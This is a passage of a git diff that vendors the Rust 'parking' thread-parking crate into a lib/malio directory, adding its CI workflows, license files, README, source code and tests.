assert_eq!(msg, "expected failure"); + }); +} + +#[test] +fn panic_with_mut() { + future::block_on(async { + let mut io = Unblock::new(()); + let x = io.with_mut(|()| panic!("expected failure")); + let panic = AssertUnwindSafe(x).catch_unwind().await.unwrap_err(); + + // Make sure it's our panic and not an unrelated one. + let msg = if let Some(msg) = panic.downcast_ref::<&'static str>() { + msg.to_string() + } else { + *panic.downcast::().unwrap() + }; + assert_eq!( + msg, + "`Unblock::with_mut()` operation has panicked: RecvError" + ); + }); +} diff --git a/lib/malio/parking/.github/dependabot.yml b/lib/malio/parking/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/parking/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/parking/.github/workflows/ci.yml b/lib/malio/parking/.github/workflows/ci.yml new file mode 100644 index 0000000..9790a20 --- /dev/null +++ b/lib/malio/parking/.github/workflows/ci.yml @@ -0,0 +1,80 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + types: [opened, reopened, synchronize] + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - run: cargo test --test loom --features loom + env: + RUSTFLAGS: --cfg loom + LOOM_MAX_PREEMPTIONS: 2 + + msrv: + runs-on: ubuntu-latest + strategy: + matrix: + # When updating this, the reminder to update the minimum supported + # Rust version in Cargo.toml. + rust: ['1.51'] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: cargo build + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets diff --git a/lib/malio/parking/.github/workflows/release.yml b/lib/malio/parking/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/parking/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/parking/.gitignore b/lib/malio/parking/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/parking/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/parking/CHANGELOG.md b/lib/malio/parking/CHANGELOG.md new file mode 100644 index 0000000..78a9e53 --- /dev/null +++ b/lib/malio/parking/CHANGELOG.md @@ -0,0 +1,47 @@ +# Version 2.2.1 + +- Specify the reason for using `parking` in the docs. (#25) + +# Version 2.2.0 + +- Implement `From` for `Waker`. This enables `Waker`s to be constructed from `Unparker`s without allocating. (#18) + +# Version 2.1.1 + +- Update docs with new logo. (#14) + +# Version 2.1.0 + +- Add will_unpark and same_parker methods to Unparker. (#10) + +# Version 2.0.0 + +- Return `bool` from `unpark()` methods. + +# Version 1.0.6 + +- Add more details on licensing. + +# Version 1.0.5 + +- Implement `Default` for `Parker`. + +# Version 1.0.4 + +- Forbid unsafe code. + +# Version 1.0.3 + +- Improved documentation. + +# Version 1.0.2 + +- Remove all unsafe code. + +# Version 1.0.1 + +- Explain `Parker::park()` better. + +# Version 1.0.0 + +- Initial version. diff --git a/lib/malio/parking/Cargo.toml b/lib/malio/parking/Cargo.toml new file mode 100644 index 0000000..24f6fce --- /dev/null +++ b/lib/malio/parking/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "parking" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.2.1" +authors = [ + "Stjepan Glavina ", + "The Rust Project Developers", +] +edition = "2018" +rust-version = "1.51" +description = "Thread parking and unparking" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/parking" +homepage = "https://github.com/smol-rs/parking" +documentation = "https://docs.rs/parking" +keywords = ["park", "notify", "thread", "wake", "condition"] +categories = ["concurrency"] +exclude = ["/.*"] + +# The `loom` feature, combined with the `loom` rustflag, enables a reimplementation +# of `parking` using `loom`. This feature is perma-unstable and should not be used +# in stable code. +[target.'cfg(loom)'.dependencies.loom] +version = "0.7" +optional = true + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ["cfg(loom)"] } + +[dev-dependencies] +easy-parallel = "3.0.0" diff --git a/lib/malio/parking/LICENSE-APACHE b/lib/malio/parking/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/parking/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/parking/LICENSE-MIT b/lib/malio/parking/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/parking/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/parking/LICENSE-THIRD-PARTY b/lib/malio/parking/LICENSE-THIRD-PARTY new file mode 100644 index 0000000..5bbf2ef --- /dev/null +++ b/lib/malio/parking/LICENSE-THIRD-PARTY @@ -0,0 +1,9 @@ +=============================================================================== + +Copyright 2014-2020 The Rust Project Developers + +Licensed under the Apache License, Version 2.0 or the MIT license +, at your +option. All files in the project carrying such notice may not be +copied, modified, or distributed except according to those terms. diff --git a/lib/malio/parking/README.md b/lib/malio/parking/README.md new file mode 100644 index 0000000..058aed8 --- /dev/null +++ b/lib/malio/parking/README.md @@ -0,0 +1,67 @@ +# parking + +[![Build](https://github.com/smol-rs/parking/workflows/Build%20and%20test/badge.svg)]( +https://github.com/smol-rs/parking/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/parking) +[![Cargo](https://img.shields.io/crates/v/parking.svg)]( +https://crates.io/crates/parking) +[![Documentation](https://docs.rs/parking/badge.svg)]( +https://docs.rs/parking) + +Thread parking and unparking. + +A `Parker` is in either the notified or unnotified state. The `park()` method blocks +the current thread until the `Parker` becomes notified and then puts it back into the unnotified +state. The `unpark()` method puts it into the notified state. + +This API is similar to [`thread::park()`] and [`Thread::unpark()`] from the standard library. +The difference is that the state "token" managed by those functions is shared across an entire +thread, and anyone can call [`thread::current()`] to access it. If you use `park` and `unpark`, +but you also call a function that uses `park` and `unpark` internally, that function could +cause a deadlock by consuming a wakeup that was intended for you. The `Parker` object in this +crate avoids that problem by managing its own state, which isn't shared with unrelated callers. + +[`thread::park()`]: https://doc.rust-lang.org/std/thread/fn.park.html +[`Thread::unpark()`]: https://doc.rust-lang.org/std/thread/struct.Thread.html#method.unpark +[`thread::current()`]: https://doc.rust-lang.org/std/thread/fn.current.html + +## Examples + +```rust +use std::thread; +use std::time::Duration; +use parking::Parker; + +let p = Parker::new(); +let u = p.unparker(); + +// Notify the parker. +u.unpark(); + +// Wakes up immediately because the parker is notified. +p.park(); + +thread::spawn(move || { + thread::sleep(Duration::from_millis(500)); + u.unpark(); +}); + +// Wakes up when `u.unpark()` notifies and then goes back into unnotified state. +p.park(); +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/parking/src/lib.rs b/lib/malio/parking/src/lib.rs new file mode 100644 index 0000000..1e96674 --- /dev/null +++ b/lib/malio/parking/src/lib.rs @@ -0,0 +1,449 @@ +//! Thread parking and unparking. +//! +//! A [`Parker`] is in either the notified or unnotified state. The [`park()`][`Parker::park()`] method blocks +//! the current thread until the [`Parker`] becomes notified and then puts it back into the unnotified +//! state. The [`unpark()`][`Unparker::unpark()`] method puts it into the notified state. +//! +//! This API is similar to [`thread::park()`] and [`Thread::unpark()`] from the standard library. +//! The difference is that the state "token" managed by those functions is shared across an entire +//! thread, and anyone can call [`thread::current()`] to access it. If you use `park` and `unpark`, +//! but you also call a function that uses `park` and `unpark` internally, that function could +//! cause a deadlock by consuming a wakeup that was intended for you. The [`Parker`] object in this +//! crate avoids that problem by managing its own state, which isn't shared with unrelated callers. +//! +//! [`thread::park()`]: https://doc.rust-lang.org/std/thread/fn.park.html +//! [`Thread::unpark()`]: https://doc.rust-lang.org/std/thread/struct.Thread.html#method.unpark +//! [`thread::current()`]: https://doc.rust-lang.org/std/thread/fn.current.html +//! +//! # Examples +//! +//! ``` +//! use std::thread; +//! use std::time::Duration; +//! use parking::Parker; +//! +//! let p = Parker::new(); +//! let u = p.unparker(); +//! +//! // Notify the parker. +//! u.unpark(); +//! +//! // Wakes up immediately because the parker is notified. +//! p.park(); +//! +//! thread::spawn(move || { +//! thread::sleep(Duration::from_millis(500)); +//! u.unpark(); +//! }); +//! +//! // Wakes up when `u.unpark()` notifies and then goes back into unnotified state. +//! p.park(); +//! ``` + +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +#[cfg(not(all(loom, feature = "loom")))] +use std::sync; + +#[cfg(all(loom, feature = "loom"))] +use loom::sync; + +use std::cell::Cell; +use std::fmt; +use std::marker::PhantomData; +use std::sync::Arc; +use std::task::{Wake, Waker}; +use std::time::Duration; + +#[cfg(not(all(loom, feature = "loom")))] +use std::time::Instant; + +use sync::atomic::AtomicUsize; +use sync::atomic::Ordering::SeqCst; +use sync::{Condvar, Mutex}; + +/// Creates a parker and an associated unparker. +/// +/// # Examples +/// +/// ``` +/// let (p, u) = parking::pair(); +/// ``` +pub fn pair() -> (Parker, Unparker) { + let p = Parker::new(); + let u = p.unparker(); + (p, u) +} + +/// Waits for a notification. +pub struct Parker { + unparker: Unparker, + _marker: PhantomData>, +} + +impl Parker { + /// Creates a new parker. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// ``` + /// + pub fn new() -> Parker { + Parker { + unparker: Unparker { + inner: Arc::new(Inner { + state: AtomicUsize::new(EMPTY), + lock: Mutex::new(()), + cvar: Condvar::new(), + }), + }, + _marker: PhantomData, + } + } + + /// Blocks until notified and then goes back into unnotified state. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// // Notify the parker. + /// u.unpark(); + /// + /// // Wakes up immediately because the parker is notified. + /// p.park(); + /// ``` + pub fn park(&self) { + self.unparker.inner.park(None); + } + + /// Blocks until notified and then goes back into unnotified state, or times out after + /// `duration`. + /// + /// Returns `true` if notified before the timeout. + /// + /// # Examples + /// + /// ``` + /// use std::time::Duration; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// + /// // Wait for a notification, or time out after 500 ms. + /// p.park_timeout(Duration::from_millis(500)); + /// ``` + #[cfg(not(loom))] + pub fn park_timeout(&self, duration: Duration) -> bool { + self.unparker.inner.park(Some(duration)) + } + + /// Blocks until notified and then goes back into unnotified state, or times out at `instant`. + /// + /// Returns `true` if notified before the deadline. + /// + /// # Examples + /// + /// ``` + /// use std::time::{Duration, Instant}; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// + /// // Wait for a notification, or time out after 500 ms. + /// p.park_deadline(Instant::now() + Duration::from_millis(500)); + /// ``` + #[cfg(not(loom))] + pub fn park_deadline(&self, instant: Instant) -> bool { + self.unparker + .inner + .park(Some(instant.saturating_duration_since(Instant::now()))) + } + + /// Notifies the parker. + /// + /// Returns `true` if this call is the first to notify the parker, or `false` if the parker + /// was already notified. + /// + /// # Examples + /// + /// ``` + /// use std::thread; + /// use std::time::Duration; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// + /// assert_eq!(p.unpark(), true); + /// assert_eq!(p.unpark(), false); + /// + /// // Wakes up immediately. + /// p.park(); + /// ``` + pub fn unpark(&self) -> bool { + self.unparker.unpark() + } + + /// Returns a handle for unparking. + /// + /// The returned [`Unparker`] can be cloned and shared among threads. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// // Notify the parker. + /// u.unpark(); + /// + /// // Wakes up immediately because the parker is notified. + /// p.park(); + /// ``` + pub fn unparker(&self) -> Unparker { + self.unparker.clone() + } +} + +impl Default for Parker { + fn default() -> Parker { + Parker::new() + } +} + +impl fmt::Debug for Parker { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.pad("Parker { .. }") + } +} + +/// Notifies a parker. +pub struct Unparker { + inner: Arc, +} + +impl Unparker { + /// Notifies the associated parker. + /// + /// Returns `true` if this call is the first to notify the parker, or `false` if the parker + /// was already notified. + /// + /// # Examples + /// + /// ``` + /// use std::thread; + /// use std::time::Duration; + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// thread::spawn(move || { + /// thread::sleep(Duration::from_millis(500)); + /// u.unpark(); + /// }); + /// + /// // Wakes up when `u.unpark()` notifies and then goes back into unnotified state. + /// p.park(); + /// ``` + pub fn unpark(&self) -> bool { + self.inner.unpark() + } + + /// Indicates whether this unparker will unpark the associated parker. + /// + /// This can be used to avoid unnecessary work before calling `unpark()`. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u = p.unparker(); + /// + /// assert!(u.will_unpark(&p)); + /// ``` + pub fn will_unpark(&self, parker: &Parker) -> bool { + Arc::ptr_eq(&self.inner, &parker.unparker.inner) + } + + /// Indicates whether two unparkers will unpark the same parker. + /// + /// # Examples + /// + /// ``` + /// use parking::Parker; + /// + /// let p = Parker::new(); + /// let u1 = p.unparker(); + /// let u2 = p.unparker(); + /// + /// assert!(u1.same_parker(&u2)); + /// ``` + pub fn same_parker(&self, other: &Unparker) -> bool { + Arc::ptr_eq(&self.inner, &other.inner) + } +} + +impl fmt::Debug for Unparker { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.pad("Unparker { .. }") + } +} + +impl Clone for Unparker { + fn clone(&self) -> Unparker { + Unparker { + inner: self.inner.clone(), + } + } +} + +impl From for Waker { + fn from(up: Unparker) -> Self { + Waker::from(up.inner) + } +} + +const EMPTY: usize = 0; +const PARKED: usize = 1; +const NOTIFIED: usize = 2; + +struct Inner { + state: AtomicUsize, + lock: Mutex<()>, + cvar: Condvar, +} + +impl Inner { + fn park(&self, timeout: Option) -> bool { + // If we were previously notified then we consume this notification and return quickly. + if self + .state + .compare_exchange(NOTIFIED, EMPTY, SeqCst, SeqCst) + .is_ok() + { + return true; + } + + // If the timeout is zero, then there is no need to actually block. + if let Some(dur) = timeout { + if dur == Duration::from_millis(0) { + return false; + } + } + + // Otherwise we need to coordinate going to sleep. + let mut m = self.lock.lock().unwrap(); + + match self.state.compare_exchange(EMPTY, PARKED, SeqCst, SeqCst) { + Ok(_) => {} + // Consume this notification to avoid spurious wakeups in the next park. + Err(NOTIFIED) => { + // We must read `state` here, even though we know it will be `NOTIFIED`. This is + // because `unpark` may have been called again since we read `NOTIFIED` in the + // `compare_exchange` above. We must perform an acquire operation that synchronizes + // with that `unpark` to observe any writes it made before the call to `unpark`. To + // do that we must read from the write it made to `state`. + let old = self.state.swap(EMPTY, SeqCst); + assert_eq!(old, NOTIFIED, "park state changed unexpectedly"); + return true; + } + Err(n) => panic!("inconsistent park_timeout state: {}", n), + } + + match timeout { + None => { + loop { + // Block the current thread on the conditional variable. + m = self.cvar.wait(m).unwrap(); + + if self + .state + .compare_exchange(NOTIFIED, EMPTY, SeqCst, SeqCst) + .is_ok() + { + // got a notification + return true; + } + } + } + Some(timeout) => { + #[cfg(not(loom))] + { + // Wait with a timeout, and if we spuriously wake up or otherwise wake up from a + // notification we just want to unconditionally set `state` back to `EMPTY`, either + // consuming a notification or un-flagging ourselves as parked. + let (_m, _result) = self.cvar.wait_timeout(m, timeout).unwrap(); + + match self.state.swap(EMPTY, SeqCst) { + NOTIFIED => true, // got a notification + PARKED => false, // no notification + n => panic!("inconsistent park_timeout state: {}", n), + } + } + + #[cfg(loom)] + { + let _ = timeout; + panic!("park_timeout is not supported under loom"); + } + } + } + } + + pub fn unpark(&self) -> bool { + // To ensure the unparked thread will observe any writes we made before this call, we must + // perform a release operation that `park` can synchronize with. To do that we must write + // `NOTIFIED` even if `state` is already `NOTIFIED`. That is why this must be a swap rather + // than a compare-and-swap that returns if it reads `NOTIFIED` on failure. + match self.state.swap(NOTIFIED, SeqCst) { + EMPTY => return true, // no one was waiting + NOTIFIED => return false, // already unparked + PARKED => {} // gotta go wake someone up + _ => panic!("inconsistent state in unpark"), + } + + // There is a period between when the parked thread sets `state` to `PARKED` (or last + // checked `state` in the case of a spurious wakeup) and when it actually waits on `cvar`. + // If we were to notify during this period it would be ignored and then when the parked + // thread went to sleep it would never wake up. Fortunately, it has `lock` locked at this + // stage so we can acquire `lock` to wait until it is ready to receive the notification. + // + // Releasing `lock` before the call to `notify_one` means that when the parked thread wakes + // it doesn't get woken only to have to wait for us to release `lock`. + drop(self.lock.lock().unwrap()); + self.cvar.notify_one(); + true + } +} + +impl Wake for Inner { + #[inline] + fn wake(self: Arc) { + self.unpark(); + } + + #[inline] + fn wake_by_ref(self: &Arc) { + self.unpark(); + } +} diff --git a/lib/malio/parking/tests/loom.rs b/lib/malio/parking/tests/loom.rs new file mode 100644 index 0000000..9ccf92d --- /dev/null +++ b/lib/malio/parking/tests/loom.rs @@ -0,0 +1,28 @@ +#![cfg(loom)] + +#[test] +fn smoke() { + loom::model(|| { + let (p, u) = parking::pair(); + + loom::thread::spawn(move || { + p.park(); + }); + + u.unpark(); + }); +} + +#[test] +fn yield_then_unpark() { + loom::model(|| { + let (p, u) = parking::pair(); + + loom::thread::spawn(move || { + loom::thread::yield_now(); + u.unpark(); + }); + + p.park(); + }); +} diff --git a/lib/malio/parking/tests/parking.rs b/lib/malio/parking/tests/parking.rs new file mode 100644 index 0000000..2701e7c --- /dev/null +++ b/lib/malio/parking/tests/parking.rs @@ -0,0 +1,145 @@ +use std::future::Future; +use std::task::{Context, Poll, Waker}; +use std::thread::sleep; +use std::time::{Duration, Instant}; + +use easy_parallel::Parallel; +use parking::Parker; + +#[test] +fn park_timeout_unpark_before() { + let (p, u) = parking::pair(); + for _ in 0..10 { + u.unpark(); + p.park_timeout(Duration::from_millis(u32::MAX as u64)); + } +} + +#[test] +fn park_timeout_unpark_not_called() { + let p = Parker::new(); + for _ in 0..10 { + p.park_timeout(Duration::from_millis(10)); + } +} + +#[test] +fn park_timeout_unpark_called_other_thread() { + for _ in 0..10 { + let p = Parker::new(); + let u = p.unparker(); + + Parallel::new() + .add(move || { + sleep(Duration::from_millis(50)); + u.unpark(); + }) + .add(move || { + p.park_timeout(Duration::from_millis(u32::MAX as u64)); + }) + .run(); + } +} + +#[test] +fn park_deadline_unpark_called_other_thread() { + for _ in 0..10 { + let p = Parker::new(); + let u = p.unparker(); + + Parallel::new() + .add(move || { + sleep(Duration::from_millis(50)); + u.unpark(); + }) + .add(move || { + let deadline = Instant::now() + Duration::from_micros(u32::MAX as u64); + p.park_deadline(deadline); + }) + .run(); + } +} + +#[test] +fn park_then_wake_from_other_thread() { + for _ in 0..10 { + let (p, u) = parking::pair(); + + Parallel::new() + .add(move || { + sleep(Duration::from_millis(50)); + u.unpark(); + }) + .add(move || { + let start = Instant::now(); + p.park(); + assert!(Instant::now().duration_since(start) >= Duration::from_millis(50)); + }) + .run(); + } +} + +#[test] +fn unpark() { + let p = Parker::default(); + + assert!(p.unpark()); + assert!(!p.unpark()); +} + +#[test] +fn same_parker() { + let (p1, u1) = parking::pair(); + let (p2, u2) = parking::pair(); + + assert!(u1.will_unpark(&p1)); + assert!(!u1.will_unpark(&p2)); + assert!(u1.same_parker(&u1.clone())); + assert!(!u1.same_parker(&u2)); +} + +#[test] +fn waker() { + let (p, u) = parking::pair(); + let waker: Waker = u.into(); + + waker.wake(); + assert!(p.park_timeout(Duration::from_secs(2))); +} + +#[test] +fn future() { + struct Yield(bool); + + impl Future for Yield { + type Output = (); + + fn poll(mut self: std::pin::Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if self.0 { + Poll::Ready(()) + } else { + self.0 = true; + cx.waker().wake_by_ref(); + Poll::Pending + } + } + } + + let (p, u) = parking::pair(); + let waker = u.into(); + let mut context = Context::from_waker(&waker); + + let mut future = Box::pin(Yield(false)); + + assert!(!p.park_timeout(Duration::from_millis(0))); + assert_eq!(future.as_mut().poll(&mut context), Poll::Pending); + assert!(p.park_timeout(Duration::from_millis(0))); + assert_eq!(future.as_mut().poll(&mut 